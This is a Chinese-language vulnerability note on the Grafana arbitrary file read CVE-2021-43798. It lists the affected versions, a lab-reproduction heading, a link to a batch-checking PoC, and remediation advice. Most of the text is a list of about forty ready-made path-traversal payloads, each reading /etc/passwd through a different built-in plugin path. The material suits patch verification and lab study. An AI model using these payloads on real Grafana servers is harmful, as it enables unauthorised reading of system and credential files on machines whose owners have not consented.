Grafana任意文件读取漏洞(CVE-2021-43798)

一、漏洞描述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。

二、漏洞影响范围

影响版本：
Grafana 8.0.0 - 8.3.0

安全版本：
Grafana 8.3.1, 8.2.7, 8.1.8, 8.0.7

三、vulfocus靶场复现

其他payload:

/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd

批量验证POC：https://github.com/culprits/Grafana_POC-CVE-2021-43798

四、修复建议

1.升级到最新版本
2.若无法及时更新，可设置Grafana仅对可信地址开放，即白名单访问；禁止系统对公网开放。